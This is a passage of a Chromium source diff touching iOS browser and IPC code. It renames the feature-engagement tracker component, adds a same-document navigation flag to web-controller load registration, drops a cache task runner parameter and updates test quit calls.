     "resources:stack_view_background_noise",
     "//base",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/strings",
     "//ios/chrome/app/strings",
     "//ios/chrome/browser",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/tabs",
     "//ios/chrome/browser/ui",
     "//ios/chrome/browser/ui/commands",
diff --git a/ios/chrome/browser/ui/stack_view/stack_view_controller.mm b/ios/chrome/browser/ui/stack_view/stack_view_controller.mm
index d822fe75..ba964d81 100644
--- a/ios/chrome/browser/ui/stack_view/stack_view_controller.mm
+++ b/ios/chrome/browser/ui/stack_view/stack_view_controller.mm
@@ -21,12 +21,12 @@
 #include "base/metrics/user_metrics.h"
 #include "base/metrics/user_metrics_action.h"
 #include "base/strings/sys_string_conversions.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "ios/chrome/browser/chrome_url_constants.h"
 #include "ios/chrome/browser/experimental_flags.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_util.h"
 #import "ios/chrome/browser/tabs/tab.h"
 #import "ios/chrome/browser/tabs/tab_model.h"
 #import "ios/chrome/browser/tabs/tab_model_observer.h"
@@ -2719,9 +2719,9 @@
     [self setActiveCardSet:[self inactiveCardSet]];
 
   // Either send or don't send the "New Tab Opened" or "Incognito Tab Opened" to
-  // the FeatureEngagementTracker based on |command.userInitiated| and
+  // the feature_engagement::Tracker based on |command.userInitiated| and
   // |command.incognito|.
-  feature_engagement_tracker::NotifyNewTabEventForCommand(
+  feature_engagement::NotifyNewTabEventForCommand(
       _activeCardSet.tabModel.browserState, command);
 
   [self setLastTapPoint:command];
diff --git a/ios/chrome/browser/ui/tab_switcher/BUILD.gn b/ios/chrome/browser/ui/tab_switcher/BUILD.gn
index ed258676..503f340 100644
--- a/ios/chrome/browser/ui/tab_switcher/BUILD.gn
+++ b/ios/chrome/browser/ui/tab_switcher/BUILD.gn
@@ -68,7 +68,7 @@
     "//ios/chrome/browser",
     "//ios/chrome/browser/browser_state",
     "//ios/chrome/browser/favicon",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/metrics:metrics_internal",
     "//ios/chrome/browser/sessions",
     "//ios/chrome/browser/signin",
diff --git a/ios/chrome/browser/ui/tab_switcher/tab_switcher_controller.mm b/ios/chrome/browser/ui/tab_switcher/tab_switcher_controller.mm
index 0c27a434..5133192 100644
--- a/ios/chrome/browser/ui/tab_switcher/tab_switcher_controller.mm
+++ b/ios/chrome/browser/ui/tab_switcher/tab_switcher_controller.mm
@@ -14,7 +14,7 @@
 #include "components/sync_sessions/open_tabs_ui_delegate.h"
 #import "ios/chrome/browser/browser_state/chrome_browser_state.h"
 #include "ios/chrome/browser/chrome_url_constants.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_util.h"
+#include "ios/chrome/browser/feature_engagement/tracker_util.h"
 #import "ios/chrome/browser/metrics/tab_usage_recorder.h"
 #include "ios/chrome/browser/sessions/ios_chrome_tab_restore_service_factory.h"
 #include "ios/chrome/browser/sessions/tab_restore_service_delegate_impl_ios.h"
@@ -414,10 +414,9 @@
   TabModel* model = [self tabModelForSessionType:panelSessionType];
 
   // Either send or don't send the "New Tab Opened" or "Incognito Tab Opened" to
-  // the FeatureEngagementTracker based on |command.userInitiated| and
+  // the feature_engageament::Tracker based on |command.userInitiated| and
   // |command.incognito|.
-  feature_engagement_tracker::NotifyNewTabEventForCommand(model.browserState,
-                                                          command);
+  feature_engagement::NotifyNewTabEventForCommand(model.browserState, command);
 
   [self dismissWithNewTabAnimation:GURL(kChromeUINewTabURL)
                            atIndex:NSNotFound
diff --git a/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_delegate.h b/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_delegate.h
index 8467f7a..19db9360 100644
--- a/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_delegate.h
+++ b/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_delegate.h
@@ -18,7 +18,7 @@
 
 // Notifies the delegate that a touch up occured in the the Camera Search
 // button.
-- (void)keyboardAccessoryCameraSearchTouchUpInside:(UIView*)view;
+- (void)keyboardAccessoryCameraSearchTouchUp;
 
 // Notifies the delegate that a key with the title |title| was pressed.
 - (void)keyPressed:(NSString*)title;
diff --git a/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_views.mm b/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_views.mm
index 2f44a861..657fb46 100644
--- a/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_views.mm
+++ b/ios/chrome/browser/ui/toolbar/keyboard_assist/toolbar_assistive_keyboard_views.mm
@@ -51,7 +51,7 @@
 
   UIButton* cameraButton = ButtonWitIcon(@"keyboard_accessory_qr_scanner");
   [cameraButton addTarget:delegate
-                   action:@selector(keyboardAccessoryCameraSearchTouchUpInside:)
+                   action:@selector(keyboardAccessoryCameraSearchTouchUp)
          forControlEvents:UIControlEventTouchUpInside];
   SetA11yLabelAndUiAutomationName(
       cameraButton, IDS_IOS_KEYBOARD_ACCESSORY_VIEW_QR_CODE_SEARCH,
diff --git a/ios/chrome/browser/ui/toolbar/web_toolbar_controller.mm b/ios/chrome/browser/ui/toolbar/web_toolbar_controller.mm
index 272502b..0cf6521 100644
--- a/ios/chrome/browser/ui/toolbar/web_toolbar_controller.mm
+++ b/ios/chrome/browser/ui/toolbar/web_toolbar_controller.mm
@@ -1483,10 +1483,8 @@
   }
 }
 
-- (void)keyboardAccessoryCameraSearchTouchUpInside:(UIView*)view {
-  GenericChromeCommand* command =
-      [[GenericChromeCommand alloc] initWithTag:IDC_SHOW_QR_SCANNER];
-  [view chromeExecuteCommand:command];
+- (void)keyboardAccessoryCameraSearchTouchUp {
+  [self.dispatcher showQRScanner];
 }
 
 - (void)keyPressed:(NSString*)title {
diff --git a/ios/chrome/browser/web/cache_egtest.mm b/ios/chrome/browser/web/cache_egtest.mm
index 86770251..7811c60 100644
--- a/ios/chrome/browser/web/cache_egtest.mm
+++ b/ios/chrome/browser/web/cache_egtest.mm
@@ -4,6 +4,7 @@
 
 #import <EarlGrey/EarlGrey.h>
 
+#include "base/ios/ios_util.h"
 #include "base/memory/ptr_util.h"
 #include "base/strings/stringprintf.h"
 #include "components/content_settings/core/browser/host_content_settings_map.h"
@@ -175,6 +176,12 @@
 // use the cached page. Page reload should use cache-control in the request
 // header and show updated page.
 - (void)testCachingBehaviorOnNavigateBackAndPageReload {
+  // TODO(crbug.com/747436): re-enable this test on iOS 10.3.1 and afterwards
+  // once the bug is fixed.
+  if (base::ios::IsRunningOnOrLater(10, 3, 1)) {
+    EARL_GREY_TEST_DISABLED(@"Disabled on iOS 10.3.1 and afterwards.");
+  }
+
   web::test::SetUpHttpServer(base::MakeUnique<CacheTestResponseProvider>());
 
   const GURL cacheTestFirstPageURL =
diff --git a/ios/showcase/core/showcase_model.mm b/ios/showcase/core/showcase_model.mm
index d9431ae..653f68b 100644
--- a/ios/showcase/core/showcase_model.mm
+++ b/ios/showcase/core/showcase_model.mm
@@ -94,7 +94,7 @@
     @{
       showcase::kClassForDisplayKey : @"TextBadgeView",
       showcase::kClassForInstantiationKey : @"SCTextBadgeViewController",
-      showcase::kUseCaseKey : @"Text badge view",
+      showcase::kUseCaseKey : @"Text badge",
     },
   ];
 }
diff --git a/ios/showcase/text_badge_view/sc_text_badge_view_controller.mm b/ios/showcase/text_badge_view/sc_text_badge_view_controller.mm
index 1c99fa3..2421beb 100644
--- a/ios/showcase/text_badge_view/sc_text_badge_view_controller.mm
+++ b/ios/showcase/text_badge_view/sc_text_badge_view_controller.mm
@@ -14,11 +14,16 @@
 
 - (void)viewDidLoad {
   [super viewDidLoad];
-  self.view.backgroundColor = [UIColor grayColor];
+  self.view.backgroundColor = [UIColor whiteColor];
   TextBadgeView* textBadge = [[TextBadgeView alloc] initWithText:@"TEXT"];
+  [textBadge setTranslatesAutoresizingMaskIntoConstraints:NO];
   [self.view addSubview:textBadge];
-  textBadge.bounds = CGRectMake(0.0f, 0.0f, 100.0f, 100.0f);
-  textBadge.center = self.view.center;
+  // Center badge on screen.
+  NSArray<NSLayoutConstraint*>* constraints = @[
+    [self.view.centerXAnchor constraintEqualToAnchor:textBadge.centerXAnchor],
+    [self.view.centerYAnchor constraintEqualToAnchor:textBadge.centerYAnchor]
+  ];
+  [NSLayoutConstraint activateConstraints:constraints];
 }
 
 @end
diff --git a/ios/showcase/text_badge_view/sc_text_badge_view_egtest.mm b/ios/showcase/text_badge_view/sc_text_badge_view_egtest.mm
index b9fb9a3..d3ff288 100644
--- a/ios/showcase/text_badge_view/sc_text_badge_view_egtest.mm
+++ b/ios/showcase/text_badge_view/sc_text_badge_view_egtest.mm
@@ -16,14 +16,16 @@
 using ::showcase_utils::Close;
 }
 
-@interface TextBadgeViewTestCase : ShowcaseTestCase
+@interface SCTextBadgeViewTestCase : ShowcaseTestCase
 @end
 
-@implementation TextBadgeViewTestCase
+@implementation SCTextBadgeViewTestCase
 
 // Tests that the accessibility label matches the display text.
 - (void)testTextBadgeAccessibilityLabel {
   Open(@"TextBadgeView");
+  [[EarlGrey selectElementWithMatcher:grey_accessibilityLabel(@"TEXT")]
+      assertWithMatcher:grey_notNil()];
   Close();
 }
 
diff --git a/ios/web/public/global_state/ios_global_state.mm b/ios/web/public/global_state/ios_global_state.mm
index 87593ef..150f78d 100644
--- a/ios/web/public/global_state/ios_global_state.mm
+++ b/ios/web/public/global_state/ios_global_state.mm
@@ -23,23 +23,17 @@
 net::NetworkChangeNotifier* g_network_change_notifer = nullptr;
 
 base::TaskScheduler::InitParams GetDefaultTaskSchedulerInitParams() {
-  using StandbyThreadPolicy =
-      base::SchedulerWorkerPoolParams::StandbyThreadPolicy;
   return base::TaskScheduler::InitParams(
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(2, 8, 0.1, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(2, 8, 0.1, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(3, 8, 0.3, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(3, 8, 0.3, 0),
           base::TimeDelta::FromSeconds(60)));
 }
diff --git a/ios/web/shell/shell_browser_state.mm b/ios/web/shell/shell_browser_state.mm
index f954750..de2afc75 100644
--- a/ios/web/shell/shell_browser_state.mm
+++ b/ios/web/shell/shell_browser_state.mm
@@ -25,8 +25,7 @@
   request_context_getter_ = new ShellURLRequestContextGetter(
       GetStatePath(),
       web::WebThread::GetTaskRunnerForThread(web::WebThread::IO),
-      web::WebThread::GetTaskRunnerForThread(web::WebThread::FILE),
-      web::WebThread::GetTaskRunnerForThread(web::WebThread::CACHE));
+      web::WebThread::GetTaskRunnerForThread(web::WebThread::FILE));
 
   BrowserState::Initialize(this, path_);
 }
diff --git a/ios/web/shell/shell_url_request_context_getter.h b/ios/web/shell/shell_url_request_context_getter.h
index e91bc82..1296c1b 100644
--- a/ios/web/shell/shell_url_request_context_getter.h
+++ b/ios/web/shell/shell_url_request_context_getter.h
@@ -30,8 +30,7 @@
   ShellURLRequestContextGetter(
       const base::FilePath& base_path,
       const scoped_refptr<base::SingleThreadTaskRunner>& network_task_runner,
-      const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner,
-      const scoped_refptr<base::SingleThreadTaskRunner>& cache_task_runner);
+      const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner);
 
   // net::URLRequestContextGetter implementation.
   net::URLRequestContext* GetURLRequestContext() override;
@@ -45,7 +44,6 @@
   base::FilePath base_path_;
   scoped_refptr<base::SingleThreadTaskRunner> file_task_runner_;
   scoped_refptr<base::SingleThreadTaskRunner> network_task_runner_;
-  scoped_refptr<base::SingleThreadTaskRunner> cache_task_runner_;
   std::unique_ptr<net::ProxyConfigService> proxy_config_service_;
   std::unique_ptr<net::NetworkDelegate> network_delegate_;
   std::unique_ptr<net::URLRequestContextStorage> storage_;
diff --git a/ios/web/shell/shell_url_request_context_getter.mm b/ios/web/shell/shell_url_request_context_getter.mm
index ce2d5d3..a6c4d10 100644
--- a/ios/web/shell/shell_url_request_context_getter.mm
+++ b/ios/web/shell/shell_url_request_context_getter.mm
@@ -48,12 +48,10 @@
 ShellURLRequestContextGetter::ShellURLRequestContextGetter(
     const base::FilePath& base_path,
     const scoped_refptr<base::SingleThreadTaskRunner>& network_task_runner,
-    const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner,
-    const scoped_refptr<base::SingleThreadTaskRunner>& cache_task_runner)
+    const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner)
     : base_path_(base_path),
       file_task_runner_(file_task_runner),
       network_task_runner_(network_task_runner),
-      cache_task_runner_(cache_task_runner),
       proxy_config_service_(new net::ProxyConfigServiceIOS),
       net_log_(new net::NetLog()) {}
 
@@ -145,9 +143,8 @@
 
     base::FilePath cache_path = base_path_.Append(FILE_PATH_LITERAL("Cache"));
     std::unique_ptr<net::HttpCache::DefaultBackend> main_backend(
-        new net::HttpCache::DefaultBackend(net::DISK_CACHE,
-                                           net::CACHE_BACKEND_DEFAULT,
-                                           cache_path, 0, cache_task_runner_));
+        new net::HttpCache::DefaultBackend(
+            net::DISK_CACHE, net::CACHE_BACKEND_DEFAULT, cache_path, 0));
 
     storage_->set_http_network_session(
         base::MakeUnique<net::HttpNetworkSession>(
diff --git a/ios/web/web_state/navigation_callbacks_inttest.mm b/ios/web/web_state/navigation_callbacks_inttest.mm
index 9df911e..3a7c865 100644
--- a/ios/web/web_state/navigation_callbacks_inttest.mm
+++ b/ios/web/web_state/navigation_callbacks_inttest.mm
@@ -125,7 +125,7 @@
   EXPECT_EQ(url, (*context)->GetUrl());
   EXPECT_TRUE(PageTransitionTypeIncludingQualifiersIs(
       page_transition, (*context)->GetPageTransition()));
-  EXPECT_FALSE((*context)->IsSameDocument());
+  EXPECT_TRUE((*context)->IsSameDocument());
   EXPECT_FALSE((*context)->IsPost());
   EXPECT_FALSE((*context)->GetError());
   EXPECT_FALSE((*context)->GetResponseHeaders());
diff --git a/ios/web/web_state/ui/crw_web_controller.mm b/ios/web/web_state/ui/crw_web_controller.mm
index 52f5a12..1b780098 100644
--- a/ios/web/web_state/ui/crw_web_controller.mm
+++ b/ios/web/web_state/ui/crw_web_controller.mm
@@ -645,8 +645,9 @@
 // Registers load request with empty referrer and link or client redirect
 // transition based on user interaction state. Returns navigation context for
 // this request.
-- (std::unique_ptr<web::NavigationContextImpl>)registerLoadRequestForURL:
-    (const GURL&)URL;
+- (std::unique_ptr<web::NavigationContextImpl>)
+registerLoadRequestForURL:(const GURL&)URL
+   sameDocumentNavigation:(BOOL)sameDocumentNavigation;
 // Prepares web controller and delegates for anticipated page change.
 // Allows several methods to invoke webWill/DidAddPendingURL on anticipated page
 // change, using the same cached request and calculated transition types.
@@ -654,7 +655,8 @@
 - (std::unique_ptr<web::NavigationContextImpl>)
 registerLoadRequestForURL:(const GURL&)URL
                  referrer:(const web::Referrer&)referrer
-               transition:(ui::PageTransition)transition;
+               transition:(ui::PageTransition)transition
+   sameDocumentNavigation:(BOOL)sameDocumentNavigation;
 // Updates the HTML5 history state of the page using the current NavigationItem.
 // For same-document navigations and navigations affected by
 // window.history.[push/replace]State(), the URL and serialized state object
@@ -1332,11 +1334,11 @@
   std::unique_ptr<web::NavigationContextImpl> context =
       web::NavigationContextImpl::CreateNavigationContext(_webStateImpl,
                                                           pageURL, transition);
+  context->SetIsSameDocument(true);
   _webStateImpl->OnNavigationStarted(context.get());
   [[self sessionController] pushNewItemWithURL:pageURL
                                    stateObject:stateObject
                                     transition:transition];
-  context->SetIsSameDocument(true);
   _webStateImpl->OnNavigationFinished(context.get());
   self.userInteractionRegistered = NO;
 }
@@ -1347,10 +1349,10 @@
       web::NavigationContextImpl::CreateNavigationContext(
           _webStateImpl, pageURL,
           ui::PageTransition::PAGE_TRANSITION_CLIENT_REDIRECT);
+  context->SetIsSameDocument(true);
   _webStateImpl->OnNavigationStarted(context.get());
   [[self sessionController] updateCurrentItemWithURL:pageURL
                                          stateObject:stateObject];
-  context->SetIsSameDocument(true);
   _webStateImpl->OnNavigationFinished(context.get());
 }
 
@@ -1451,8 +1453,9 @@
   return [_webView estimatedProgress];
 }
 
-- (std::unique_ptr<web::NavigationContextImpl>)registerLoadRequestForURL:
-    (const GURL&)URL {
+- (std::unique_ptr<web::NavigationContextImpl>)
+registerLoadRequestForURL:(const GURL&)URL
+   sameDocumentNavigation:(BOOL)sameDocumentNavigation {
   // Get the navigation type from the last main frame load request, and try to
   // map that to a PageTransition.
   WKNavigationType navigationType =
@@ -1487,13 +1490,15 @@
   const web::Referrer emptyReferrer;
   return [self registerLoadRequestForURL:URL
                                 referrer:emptyReferrer
-                              transition:transition];
+                              transition:transition
+                  sameDocumentNavigation:sameDocumentNavigation];
 }
 
 - (std::unique_ptr<web::NavigationContextImpl>)
 registerLoadRequestForURL:(const GURL&)requestURL
                  referrer:(const web::Referrer&)referrer
-               transition:(ui::PageTransition)transition {
+               transition:(ui::PageTransition)transition
+   sameDocumentNavigation:(BOOL)sameDocumentNavigation {
   // Transfer time is registered so that further transitions within the time
   // envelope are not also registered as links.
   _lastTransferTimeInSeconds = CFAbsoluteTimeGetCurrent();
@@ -1545,6 +1550,8 @@
   }
   context->SetNavigationItemUniqueID(item->GetUniqueID());
   context->SetIsPost([self isCurrentNavigationItemPOST]);
+  context->SetIsSameDocument(sameDocumentNavigation);
+
   _webStateImpl->SetIsLoading(true);
   _webStateImpl->OnNavigationStarted(context.get());
   return context;
@@ -1835,7 +1842,8 @@
   std::unique_ptr<web::NavigationContextImpl> navigationContext =
       [self registerLoadRequestForURL:targetURL
                              referrer:referrer
-                           transition:self.currentTransition];
+                           transition:self.currentTransition
+               sameDocumentNavigation:NO];
   [self loadNativeViewWithSuccess:YES
                 navigationContext:navigationContext.get()];
 }
@@ -2040,7 +2048,8 @@
     std::unique_ptr<web::NavigationContextImpl> navigationContext = [self
         registerLoadRequestForURL:url
                          referrer:self.currentNavItemReferrer
-                       transition:ui::PageTransition::PAGE_TRANSITION_RELOAD];
+                       transition:ui::PageTransition::PAGE_TRANSITION_RELOAD
+           sameDocumentNavigation:NO];
     [self didStartLoadingURL:url];
     [self.nativeController reload];
     _webStateImpl->OnNavigationFinished(navigationContext.get());
@@ -4029,18 +4038,8 @@
         self.navigationManagerImpl->GetVisibleItem();
     const GURL& visibleURL =
         visibleItem ? visibleItem->GetURL() : GURL::EmptyGURL();
-    if (![self shouldLoadURLInNativeView:visibleURL]) {
+    if (![self shouldLoadURLInNativeView:visibleURL])
       [self displayWebView];
-    } else if (base::ios::IsRunningOnIOS11OrLater()) {
-      // On iOS 11 WKWebView load is broken if view is not a part of the
-      // hierarchy. Add view to the hierarchy, but place it offscreen to
-      // workaround iOS bug (rdar://33184203).
-      // TODO(crbug.com/739390): Remove this workaround.
-      CGRect frame = [_webView frame];
-      frame.origin.y = CGRectGetHeight(UIScreen.mainScreen.bounds);
-      [_webView setFrame:frame];
-      [self.view addSubview:_webView];
-    }
   }
 }
 
@@ -4191,7 +4190,8 @@
   } else {
     context = [self registerLoadRequestForURL:URL
                                      referrer:web::Referrer()
-                                   transition:loadHTMLTransition];
+                                   transition:loadHTMLTransition
+                       sameDocumentNavigation:NO];
   }
   [_navigationStates setContext:std::move(context) forNavigation:navigation];
 }
@@ -4485,7 +4485,7 @@
   }
 
   std::unique_ptr<web::NavigationContextImpl> navigationContext =
-      [self registerLoadRequestForURL:webViewURL];
+      [self registerLoadRequestForURL:webViewURL sameDocumentNavigation:NO];
   [_navigationStates setContext:std::move(navigationContext)
                   forNavigation:navigation];
   DCHECK(self.loadPhase == web::LOAD_REQUESTED);
@@ -4501,7 +4501,8 @@
   // should not be replaced.
   [self registerLoadRequestForURL:net::GURLWithNSURL(webView.URL)
                          referrer:[self currentReferrer]
-                       transition:ui::PAGE_TRANSITION_SERVER_REDIRECT];
+                       transition:ui::PAGE_TRANSITION_SERVER_REDIRECT
+           sameDocumentNavigation:NO];
 }
 
 - (void)webView:(WKWebView*)webView
@@ -4848,8 +4849,8 @@
     if (!existingContext) {
       // This URL was not seen before, so register new load request.
       std::unique_ptr<web::NavigationContextImpl> newContext =
-          [self registerLoadRequestForURL:webViewURL];
-      newContext->SetIsSameDocument(isSameDocumentNavigation);
+          [self registerLoadRequestForURL:webViewURL
+                   sameDocumentNavigation:isSameDocumentNavigation];
       _webStateImpl->OnNavigationFinished(newContext.get());
     } else {
       // Same document navigation does not contain response headers.
@@ -5020,7 +5021,8 @@
       //   2.) Assigning same-origin URL to window.location
       //   3.) Incorrectly handled window.location.replace (crbug.com/307072)
       //   4.) Back-forward same document navigation
-      newNavigationContext = [self registerLoadRequestForURL:newURL];
+      newNavigationContext =
+          [self registerLoadRequestForURL:newURL sameDocumentNavigation:YES];
 
       // Use the current title for items created by same document navigations.
       auto* pendingItem = self.navigationManagerImpl->GetPendingItem();
@@ -5039,7 +5041,6 @@
     web::NavigationContextImpl* navigationContext = newNavigationContext.get();
     if (!navigationContext)
       navigationContext = [self contextForPendingNavigationWithURL:newURL];
-    navigationContext->SetIsSameDocument(true);
     _webStateImpl->OnNavigationFinished(navigationContext);
 
     [self updateSSLStatusForCurrentNavigationItem];
@@ -5085,6 +5086,9 @@
   NSData* POSTData = currentItem->GetPostData();
   NSMutableURLRequest* request = [self requestForCurrentNavigationItem];
 
+  BOOL sameDocumentNavigation = currentItem->IsCreatedFromPushState() ||
+                                currentItem->IsCreatedFromHashChange();
+
   // If the request has POST data and is not a repost form, configure and
   // run the POST request.
   if (POSTData.length && !repostedForm) {
@@ -5101,7 +5105,8 @@
       std::unique_ptr<web::NavigationContextImpl> navigationContext =
           [self registerLoadRequestForURL:navigationURL
                                  referrer:self.currentNavItemReferrer
-                               transition:self.currentTransition];
+                               transition:self.currentTransition
+                   sameDocumentNavigation:sameDocumentNavigation];
       WKNavigation* navigation = [self loadPOSTRequest:request];
       [_navigationStates setContext:std::move(navigationContext)
                       forNavigation:navigation];
@@ -5115,7 +5120,8 @@
     std::unique_ptr<web::NavigationContextImpl> navigationContext =
         [self registerLoadRequestForURL:navigationURL
                                referrer:self.currentNavItemReferrer
-                             transition:self.currentTransition];
+                             transition:self.currentTransition
+                 sameDocumentNavigation:sameDocumentNavigation];
     WKNavigation* navigation = [self loadRequest:request];
     [_navigationStates setContext:std::move(navigationContext)
                     forNavigation:navigation];
@@ -5155,7 +5161,8 @@
     std::unique_ptr<web::NavigationContextImpl> navigationContext =
         [self registerLoadRequestForURL:navigationURL
                                referrer:self.currentNavItemReferrer
-                             transition:self.currentTransition];
+                             transition:self.currentTransition
+                 sameDocumentNavigation:sameDocumentNavigation];
     WKNavigation* navigation = nil;
     if (navigationURL == net::GURLWithNSURL([_webView URL])) {
       navigation = [_webView reload];
diff --git a/ios/web_view/internal/web_view_browser_state.mm b/ios/web_view/internal/web_view_browser_state.mm
index 28f53e3..145e073 100644
--- a/ios/web_view/internal/web_view_browser_state.mm
+++ b/ios/web_view/internal/web_view_browser_state.mm
@@ -47,8 +47,7 @@
   request_context_getter_ = new WebViewURLRequestContextGetter(
       GetStatePath(),
       web::WebThread::GetTaskRunnerForThread(web::WebThread::IO),
-      web::WebThread::GetTaskRunnerForThread(web::WebThread::FILE),
-      web::WebThread::GetTaskRunnerForThread(web::WebThread::CACHE));
+      web::WebThread::GetTaskRunnerForThread(web::WebThread::FILE));
 
   BrowserState::Initialize(this, path_);
 
diff --git a/ios/web_view/internal/web_view_url_request_context_getter.h b/ios/web_view/internal/web_view_url_request_context_getter.h
index 77ea4d1..3837094b 100644
--- a/ios/web_view/internal/web_view_url_request_context_getter.h
+++ b/ios/web_view/internal/web_view_url_request_context_getter.h
@@ -30,8 +30,7 @@
   WebViewURLRequestContextGetter(
       const base::FilePath& base_path,
       const scoped_refptr<base::SingleThreadTaskRunner>& network_task_runner,
-      const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner,
-      const scoped_refptr<base::SingleThreadTaskRunner>& cache_task_runner);
+      const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner);
 
   // net::URLRequestContextGetter implementation.
   net::URLRequestContext* GetURLRequestContext() override;
@@ -45,7 +44,6 @@
   base::FilePath base_path_;
   scoped_refptr<base::SingleThreadTaskRunner> file_task_runner_;
   scoped_refptr<base::SingleThreadTaskRunner> network_task_runner_;
-  scoped_refptr<base::SingleThreadTaskRunner> cache_task_runner_;
   std::unique_ptr<net::ProxyConfigService> proxy_config_service_;
   std::unique_ptr<net::NetworkDelegate> network_delegate_;
   std::unique_ptr<net::URLRequestContextStorage> storage_;
diff --git a/ios/web_view/internal/web_view_url_request_context_getter.mm b/ios/web_view/internal/web_view_url_request_context_getter.mm
index b35f433..1cd02d6 100644
--- a/ios/web_view/internal/web_view_url_request_context_getter.mm
+++ b/ios/web_view/internal/web_view_url_request_context_getter.mm
@@ -46,12 +46,10 @@
 WebViewURLRequestContextGetter::WebViewURLRequestContextGetter(
     const base::FilePath& base_path,
     const scoped_refptr<base::SingleThreadTaskRunner>& network_task_runner,
-    const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner,
-    const scoped_refptr<base::SingleThreadTaskRunner>& cache_task_runner)
+    const scoped_refptr<base::SingleThreadTaskRunner>& file_task_runner)
     : base_path_(base_path),
       file_task_runner_(file_task_runner),
       network_task_runner_(network_task_runner),
-      cache_task_runner_(cache_task_runner),
       proxy_config_service_(new net::ProxyConfigServiceIOS),
       net_log_(new net::NetLog()) {}
 
@@ -144,9 +142,8 @@
 
     base::FilePath cache_path = base_path_.Append(FILE_PATH_LITERAL("Cache"));
     std::unique_ptr<net::HttpCache::DefaultBackend> main_backend(
-        new net::HttpCache::DefaultBackend(net::DISK_CACHE,
-                                           net::CACHE_BACKEND_DEFAULT,
-                                           cache_path, 0, cache_task_runner_));
+        new net::HttpCache::DefaultBackend(
+            net::DISK_CACHE, net::CACHE_BACKEND_DEFAULT, cache_path, 0));
 
     storage_->set_http_network_session(
         base::MakeUnique<net::HttpNetworkSession>(
diff --git a/ipc/ipc_channel_mojo_unittest.cc b/ipc/ipc_channel_mojo_unittest.cc
index f0fc0c30..012877c 100644
--- a/ipc/ipc_channel_mojo_unittest.cc
+++ b/ipc/ipc_channel_mojo_unittest.cc
@@ -72,7 +72,7 @@
     EXPECT_TRUE(iter.ReadString(&should_be_ok));
     EXPECT_EQ(should_be_ok, "OK");
     received_ok_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return true;
   }
 
@@ -152,7 +152,7 @@
 
   void OnChannelError() override {
     has_error_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool has_error() const { return has_error_; }
@@ -168,7 +168,7 @@
   bool OnMessageReceived(const IPC::Message& message) override { return true; }
 
   void OnChannelConnected(int32_t peer_pid) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 
@@ -316,7 +316,7 @@
   }
 
   void OnChannelError() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void set_sender(IPC::Sender* sender) { sender_ = sender; }
@@ -390,7 +390,7 @@
   }
 
   void OnChannelError() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void set_sender(IPC::Sender* sender) { sender_ = sender; }
@@ -491,7 +491,7 @@
 
   void OnChannelConnected(int32_t peer_pid) override {
     ListenerThatExpectsOK::SendOK(sender_);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void set_sender(IPC::Sender* sender) { sender_ = sender; }
@@ -555,7 +555,7 @@
     EXPECT_EQ(kNumMessages, num_messages_received_);
     received_quit_ = true;
     std::move(callback).Run();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void BindRequest(IPC::mojom::SimpleTestDriverAssociatedRequest request) {
@@ -596,7 +596,7 @@
   void set_channel(IPC::Channel* channel) { channel_ = channel; }
 
  private:
-  static void OnQuitAck() { base::MessageLoop::current()->QuitWhenIdle(); }
+  static void OnQuitAck() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   IPC::Channel* channel_ = nullptr;
   IPC::mojom::SimpleTestDriverAssociatedPtr driver_;
@@ -743,7 +743,7 @@
     received_quit_ = true;
     std::move(callback).Run();
     binding_.Close();
-    base::MessageLoop::current()->QuitWhenIdle();
